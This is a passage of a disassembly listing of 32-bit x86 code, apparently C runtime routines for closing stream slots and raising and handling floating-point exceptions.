loc_42856D:				; CODE XREF: seg000:0042855Ej
		jmp	short loc_42853A
; ---------------------------------------------------------------------------


loc_42856F:				; CODE XREF: seg000:00428555j
		push	2
		mov	eax, [ebp-8]
		mov	ecx, ds:dword_4EED20[eax*4]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		mov	edx, [ebp-8]
		mov	ds:dword_4EED20[edx*4],	0


loc_428592:				; CODE XREF: seg000:00428529j
		jmp	loc_42850F
; ---------------------------------------------------------------------------


loc_428597:				; CODE XREF: seg000:0042851Cj
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4285A0	proc near		; CODE XREF: sub_41F050+13p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 0
		push	2
		call	sub_421A80
		add	esp, 4
		mov	[ebp+var_8], 3
		jmp	short loc_4285C9
; ---------------------------------------------------------------------------


loc_4285C0:				; CODE XREF: sub_4285A0:loc_428664j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_4285C9:				; CODE XREF: sub_4285A0+1Ej
		mov	ecx, [ebp+var_8]
		cmp	ecx, ds:dword_4F0080
		jge	loc_428669
		mov	edx, [ebp+var_8]
		mov	eax, ds:dword_4EF06C
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_428664
		mov	ecx, [ebp+var_8]
		mov	edx, ds:dword_4EF06C
		mov	eax, [edx+ecx*4]
		mov	ecx, [eax+0Ch]
		and	ecx, 83h
		test	ecx, ecx
		jz	short loc_428621
		mov	edx, [ebp+var_8]
		mov	eax, ds:dword_4EF06C
		mov	ecx, [eax+edx*4]
		push	ecx
		call	sub_41ACF0
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_428621
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_428621:				; CODE XREF: sub_4285A0+5Dj
					; sub_4285A0+76j
		cmp	[ebp+var_8], 14h
		jl	short loc_428664
		mov	eax, [ebp+var_8]
		mov	ecx, ds:dword_4EF06C
		mov	edx, [ecx+eax*4]
		add	edx, 20h
		push	edx
		call	ds:dword_4F136C	; RtlDeleteCriticalSection
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, ds:dword_4EF06C
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		mov	eax, [ebp+var_8]
		mov	ecx, ds:dword_4EF06C
		mov	dword ptr [ecx+eax*4], 0


loc_428664:				; CODE XREF: sub_4285A0+44j
					; sub_4285A0+85j
		jmp	loc_4285C0
; ---------------------------------------------------------------------------


loc_428669:				; CODE XREF: sub_4285A0+32j
		push	2
		call	sub_421B20
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4285A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_428680(double)

sub_428680	proc near		; CODE XREF: sub_41F150+C3p
					; sub_41F370+C3p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_428680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4286A0(int, double, int)

sub_4286A0	proc near		; CODE XREF: sub_41F150+85p
					; sub_41F370+85p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4507AC, 0
		jnz	short loc_4286D4
		mov	eax, [ebp+arg_C]
		push	eax		; int
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx		; double
		push	0		; int
		push	0		; int
		mov	eax, [ebp+10h]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+arg_0]
		push	edx		; int
		push	1		; int
		call	sub_429150
		add	esp, 24h
		jmp	short loc_4286F3
; ---------------------------------------------------------------------------


loc_4286D4:				; CODE XREF: sub_4286A0+Aj
		call	sub_4267E0
		mov	dword ptr [eax], 21h
		push	0FFFFh
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_4295E0
		add	esp, 8
		fld	qword ptr [ebp+arg_4]


loc_4286F3:				; CODE XREF: sub_4286A0+32j
		pop	ebp
		retn
sub_4286A0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		fld	qword ptr [ebp+0Ch]
		fadd	qword ptr [ebp+14h]
		fstp	qword ptr [ebp-8]
		cmp	ds:dword_4507AC, 0
		jnz	short loc_428744
		mov	eax, [ebp+1Ch]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		mov	edx, [ebp-8]
		push	edx
		mov	eax, [ebp+18h]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		push	1
		call	sub_429150
		add	esp, 24h
		jmp	short loc_428763
; ---------------------------------------------------------------------------


loc_428744:				; CODE XREF: seg000:00428716j
		call	sub_4267E0
		mov	dword ptr [eax], 21h
		push	0FFFFh
		mov	edx, [ebp+1Ch]
		push	edx
		call	sub_4295E0
		add	esp, 8
		fld	qword ptr [ebp-8]


loc_428763:				; CODE XREF: seg000:00428742j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_428770(int, int, int,	int, double, int)

sub_428770	proc near		; CODE XREF: sub_41F150+B1p
					; sub_41F150+129p ...

var_5C		= byte ptr -5Ch
var_24		= dword	ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		mov	eax, [ebp+arg_18]
		push	eax
		lea	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_428DD0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4287B6
		mov	eax, [ebp+var_24]
		and	al, 0FEh
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_10]
		push	ecx
		lea	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		lea	edx, [ebp+arg_18]
		push	edx
		lea	eax, [ebp+var_5C]
		push	eax
		call	sub_428900
		add	esp, 18h


loc_4287B6:				; CODE XREF: sub_428770+1Cj
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429270
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	ds:dword_4507AC, 0
		jnz	short loc_4287FE
		cmp	[ebp+var_4], 0
		jz	short loc_4287FE
		mov	edx, [ebp+arg_18]
		push	edx		; int
		mov	eax, dword ptr [ebp+arg_10+4]
		push	eax
		mov	ecx, dword ptr [ebp+arg_10]
		push	ecx		; double
		push	0		; int
		push	0		; int
		mov	edx, [ebp+arg_C]
		push	edx		; int
		mov	eax, [ebp+arg_8]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+var_4]
		push	edx		; int
		call	sub_429150
		add	esp, 24h
		jmp	short loc_42881E
; ---------------------------------------------------------------------------


loc_4287FE:				; CODE XREF: sub_428770+5Cj
					; sub_428770+62j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4291F0
		add	esp, 4
		push	0FFFFh
		mov	ecx, [ebp+arg_18]
		push	ecx
		call	sub_4295E0
		add	esp, 8
		fld	[ebp+arg_10]


loc_42881E:				; CODE XREF: sub_428770+8Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_428770	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		mov	eax, [ebp+28h]
		push	eax
		lea	ecx, [ebp+20h]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_428DD0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42888E
		mov	eax, [ebp-24h]
		or	al, 1
		mov	[ebp-24h], eax
		mov	ecx, [ebp-24h]
		and	ecx, 0FFFFFFE1h
		or	ecx, 2
		mov	[ebp-24h], ecx
		mov	edx, [ebp+18h]
		mov	[ebp-34h], edx
		mov	eax, [ebp+1Ch]
		mov	[ebp-30h], eax
		lea	ecx, [ebp+20h]
		push	ecx
		lea	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		lea	edx, [ebp+28h]
		push	edx
		lea	eax, [ebp-5Ch]
		push	eax
		call	sub_428900
		add	esp, 18h


loc_42888E:				; CODE XREF: seg000:0042884Cj
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_429270
		add	esp, 4
		mov	[ebp-4], eax
		cmp	ds:dword_4507AC, 0
		jnz	short loc_4288DA
		cmp	dword ptr [ebp-4], 0
		jz	short loc_4288DA
		mov	edx, [ebp+28h]
		push	edx
		mov	eax, [ebp+24h]
		push	eax
		mov	ecx, [ebp+20h]
		push	ecx
		mov	edx, [ebp+1Ch]
		push	edx
		mov	eax, [ebp+18h]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		call	sub_429150
		add	esp, 24h
		jmp	short loc_4288FA
; ---------------------------------------------------------------------------


loc_4288DA:				; CODE XREF: seg000:004288A4j
					; seg000:004288AAj
		mov	edx, [ebp-4]
		push	edx
		call	sub_4291F0
		add	esp, 4
		push	0FFFFh
		mov	eax, [ebp+28h]
		push	eax
		call	sub_4295E0
		add	esp, 8
		fld	qword ptr [ebp+20h]


loc_4288FA:				; CODE XREF: seg000:004288D8j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428900	proc near		; CODE XREF: sub_428770+3Ep
					; seg000:00428886p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+8], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+0Ch], 0
		mov	eax, [ebp+arg_8]
		and	eax, 10h
		test	eax, eax
		jz	short loc_428944
		mov	[ebp+var_4], 0C000008Fh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_428944:				; CODE XREF: sub_428900+2Cj
		mov	ecx, [ebp+arg_8]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_428963
		mov	[ebp+var_4], 0C0000093h
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		or	al, 2
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax


loc_428963:				; CODE XREF: sub_428900+4Cj
		mov	edx, [ebp+arg_8]
		and	edx, 1
		test	edx, edx
		jz	short loc_428983
		mov	[ebp+var_4], 0C0000091h
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		or	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx


loc_428983:				; CODE XREF: sub_428900+6Bj
		mov	eax, [ebp+arg_8]
		and	eax, 4
		test	eax, eax
		jz	short loc_4289A3
		mov	[ebp+var_4], 0C000008Eh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, 8
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_4289A3:				; CODE XREF: sub_428900+8Bj
		mov	ecx, [ebp+arg_8]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_4289C2
		mov	[ebp+var_4], 0C0000090h
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		or	al, 10h
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax


loc_4289C2:				; CODE XREF: sub_428900+ABj
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 1
		neg	eax
		sbb	eax, eax
		inc	eax
		and	eax, 1
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		and	edx, 0FFFFFFEFh
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 4
		neg	edx
		sbb	edx, edx
		inc	edx
		and	edx, 1
		shl	edx, 3
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 0FFFFFFF7h
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		and	ecx, 8
		neg	ecx
		sbb	ecx, ecx
		inc	ecx
		and	ecx, 1
		shl	ecx, 2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		and	al, 0FBh
		or	eax, ecx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		inc	eax
		and	eax, 1
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		and	edx, 0FFFFFFFDh
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 20h
		neg	edx
		sbb	edx, edx
		inc	edx
		and	edx, 1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 0FFFFFFFEh
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		call	sub_4295A0
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_428A92
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		or	edx, 10h
		mov	eax, [ebp+arg_0]
		mov	[eax+0Ch], edx


loc_428A92:				; CODE XREF: sub_428900+181j
		mov	ecx, [ebp+var_8]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_428AAA
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		or	al, 8
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax


loc_428AAA:				; CODE XREF: sub_428900+19Aj
		mov	edx, [ebp+var_8]
		and	edx, 8
		test	edx, edx
		jz	short loc_428AC3
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		or	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ch], ecx


loc_428AC3:				; CODE XREF: sub_428900+1B2j
		mov	eax, [ebp+var_8]
		and	eax, 10h
		test	eax, eax
		jz	short loc_428ADC
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		or	edx, 2
		mov	eax, [ebp+arg_0]
		mov	[eax+0Ch], edx


loc_428ADC:				; CODE XREF: sub_428900+1CBj
		mov	ecx, [ebp+var_8]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_428AF4
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		or	al, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax


loc_428AF4:				; CODE XREF: sub_428900+1E4j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 0C00h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 800h
		ja	short loc_428B24
		cmp	[ebp+var_C], 800h
		jz	short loc_428B3E
		cmp	[ebp+var_C], 0
		jz	short loc_428B62
		cmp	[ebp+var_C], 400h
		jz	short loc_428B50
		jmp	short loc_428B6F
; ---------------------------------------------------------------------------


loc_428B24:				; CODE XREF: sub_428900+208j
		cmp	[ebp+var_C], 0C00h
		jz	short loc_428B2F
		jmp	short loc_428B6F
; ---------------------------------------------------------------------------


loc_428B2F:				; CODE XREF: sub_428900+22Bj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		or	edx, 3
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_428B6F
; ---------------------------------------------------------------------------


loc_428B3E:				; CODE XREF: sub_428900+211j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFFFFFCh
		or	edx, 2
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_428B6F
; ---------------------------------------------------------------------------


loc_428B50:				; CODE XREF: sub_428900+220j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFFFFFCh
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_428B6F
; ---------------------------------------------------------------------------


loc_428B62:				; CODE XREF: sub_428900+217j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFFFFFCh
		mov	eax, [ebp+arg_0]
		mov	[eax], edx


loc_428B6F:				; CODE XREF: sub_428900+222j
					; sub_428900+22Dj ...
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 300h
		mov	[ebp+var_10], edx
		cmp	[ebp+var_10], 0
		jz	short loc_428BB8
		cmp	[ebp+var_10], 200h
		jz	short loc_428BA6
		cmp	[ebp+var_10], 300h
		jz	short loc_428B97
		jmp	short loc_428BC8
; ---------------------------------------------------------------------------


loc_428B97:				; CODE XREF: sub_428900+293j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE3h
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		jmp	short loc_428BC8
; ---------------------------------------------------------------------------


loc_428BA6:				; CODE XREF: sub_428900+28Aj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE3h
		or	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		jmp	short loc_428BC8
; ---------------------------------------------------------------------------


loc_428BB8:				; CODE XREF: sub_428900+281j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE3h
		or	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_428BC8:				; CODE XREF: sub_428900+295j
					; sub_428900+2A4j ...
		mov	eax, [ebp+arg_C]
		and	eax, 0FFFh
		shl	eax, 5
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFE001Fh
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+20h]
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+20h], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+20h]
		and	edx, 0FFFFFFE1h
		or	edx, 2
		mov	eax, [ebp+arg_0]
		mov	[eax+20h], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx]
		mov	[ecx+10h], eax
		mov	edx, [edx+4]
		mov	[ecx+14h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		or	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+50h], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE1h
		or	ecx, 2
		mov	edx, [ebp+arg_0]
		mov	[edx+50h], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_14]
		mov	edx, [ecx]
		mov	[eax+40h], edx
		mov	ecx, [ecx+4]
		mov	[eax+44h], ecx
		call	sub_4295C0
		lea	edx, [ebp+arg_0]
		push	edx
		push	1
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		call	ds:dword_4F1498	; RaiseException
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shr	edx, 4
		and	edx, 1
		test	edx, edx
		jz	short loc_428C7D
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx


loc_428C7D:				; CODE XREF: sub_428900+36Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		shr	ecx, 3
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_428C99
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	al, 0FBh
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_428C99:				; CODE XREF: sub_428900+38Bj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		shr	eax, 2
		and	eax, 1
		test	eax, eax
		jz	short loc_428CB6
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 0FFFFFFF7h
		mov	eax, [ebp+arg_4]
		mov	[eax], edx


loc_428CB6:				; CODE XREF: sub_428900+3A7j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shr	edx, 1
		and	edx, 1
		test	edx, edx
		jz	short loc_428CD2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEFh
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx


loc_428CD2:				; CODE XREF: sub_428900+3C3j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_428CEB
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	al, 0DFh
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_428CEB:				; CODE XREF: sub_428900+3DDj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		and	eax, 3
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 3
		ja	short loc_428D49
		mov	ecx, [ebp+var_14]
		jmp	ds:off_428DB1[ecx*4]


loc_428D06:				; DATA XREF: seg000:00428DBDo
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		or	ah, 0Ch
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_428D49
; ---------------------------------------------------------------------------


loc_428D18:				; CODE XREF: sub_428900+3FFj
					; DATA XREF: seg000:00428DB9o
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		or	ah, 8
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_428D49
; ---------------------------------------------------------------------------


loc_428D2A:				; CODE XREF: sub_428900+3FFj
					; DATA XREF: seg000:00428DB5o
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		or	ah, 4
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_428D49
; ---------------------------------------------------------------------------


loc_428D3C:				; CODE XREF: sub_428900+3FFj
					; DATA XREF: seg000:off_428DB1o
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_428D49:				; CODE XREF: sub_428900+3FAj
					; sub_428900+416j ...
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		shr	eax, 2
		and	eax, 7
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_428D6B
		cmp	[ebp+var_18], 1
		jz	short loc_428D7D
		cmp	[ebp+var_18], 2
		jz	short loc_428D8F
		jmp	short loc_428D9C
; ---------------------------------------------------------------------------


loc_428D6B:				; CODE XREF: sub_428900+45Bj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	dh, 0F3h
		or	dh, 3
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		jmp	short loc_428D9C
; ---------------------------------------------------------------------------


loc_428D7D:				; CODE XREF: sub_428900+461j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	dh, 0F3h
		or	dh, 2
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		jmp	short loc_428D9C
; ---------------------------------------------------------------------------


loc_428D8F:				; CODE XREF: sub_428900+467j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	dh, 0F3h
		mov	eax, [ebp+arg_4]
		mov	[eax], edx


loc_428D9C:				; CODE XREF: sub_428900+469j
					; sub_428900+47Bj ...
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_14]
		mov	eax, [ecx+40h]
		mov	[edx], eax
		mov	ecx, [ecx+44h]
		mov	[edx+4], ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_428900	endp

; ---------------------------------------------------------------------------
off_428DB1	dd offset loc_428D3C	; DATA XREF: sub_428900+3FFr
		dd offset loc_428D2A
		dd offset loc_428D18
		dd offset loc_428D06
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428DD0	proc near		; CODE XREF: sub_428770+12p
					; seg000:00428842p

var_44		= dword	ptr -44h
var_40		= qword	ptr -40h
var_38		= qword	ptr -38h
var_30		= qword	ptr -30h
var_28		= qword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_428E0A
		mov	edx, [ebp+arg_8]
		and	edx, 1
		test	edx, edx
		jz	short loc_428E0A
		push	1
		call	sub_429620
		add	esp, 4
		mov	eax, [ebp+var_4]
		and	al, 0F7h
		mov	[ebp+var_4], eax
		jmp	loc_42910E
; ---------------------------------------------------------------------------


loc_428E0A:				; CODE XREF: sub_428DD0+17j
					; sub_428DD0+21j
		mov	ecx, [ebp+arg_0]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_428E35
		mov	edx, [ebp+arg_8]
		and	edx, 4
		test	edx, edx
		jz	short loc_428E35
		push	4
		call	sub_429620
		add	esp, 4
		mov	eax, [ebp+var_4]
		and	al, 0FBh
		mov	[ebp+var_4], eax
		jmp	loc_42910E
; ---------------------------------------------------------------------------


loc_428E35:				; CODE XREF: sub_428DD0+42j
					; sub_428DD0+4Cj
		mov	ecx, [ebp+arg_0]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_428FB1
		mov	edx, [ebp+arg_8]
		and	edx, 8
		test	edx, edx
		jz	loc_428FB1
		push	8
		call	sub_429620
		add	esp, 4
		mov	eax, [ebp+arg_8]
		and	eax, 0C00h
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 800h
		ja	short loc_428E90
		cmp	[ebp+var_20], 800h
		jz	short loc_428EE5
		cmp	[ebp+var_20], 0
		jz	short loc_428EA2
		cmp	[ebp+var_20], 400h
		jz	loc_428F25
		jmp	loc_428FA3
; ---------------------------------------------------------------------------


loc_428E90:				; CODE XREF: sub_428DD0+9Dj
		cmp	[ebp+var_20], 0C00h
		jz	loc_428F65
		jmp	loc_428FA3
; ---------------------------------------------------------------------------


loc_428EA2:				; CODE XREF: sub_428DD0+ACj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_43A188
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_428EC7
		mov	edx, dword ptr ds:dbl_4503B8
		mov	dword ptr [ebp+var_28],	edx
		mov	eax, dword ptr ds:dbl_4503B8+4
		mov	dword ptr [ebp+var_28+4], eax
		jmp	short loc_428ED2
; ---------------------------------------------------------------------------


loc_428EC7:				; CODE XREF: sub_428DD0+E2j
		fld	ds:dbl_4503B8
		fchs
		fstp	[ebp+var_28]


loc_428ED2:				; CODE XREF: sub_428DD0+F5j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_28]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_28+4]
		mov	[ecx+4], eax
		jmp	loc_428FA3
; ---------------------------------------------------------------------------


loc_428EE5:				; CODE XREF: sub_428DD0+A6j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_43A188
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_428F0A
		mov	edx, dword ptr ds:dbl_4503B8
		mov	dword ptr [ebp+var_30],	edx
		mov	eax, dword ptr ds:dbl_4503B8+4
		mov	dword ptr [ebp+var_30+4], eax
		jmp	short loc_428F15
; ---------------------------------------------------------------------------


loc_428F0A:				; CODE XREF: sub_428DD0+125j
		fld	ds:dbl_4503C8
		fchs
		fstp	[ebp+var_30]


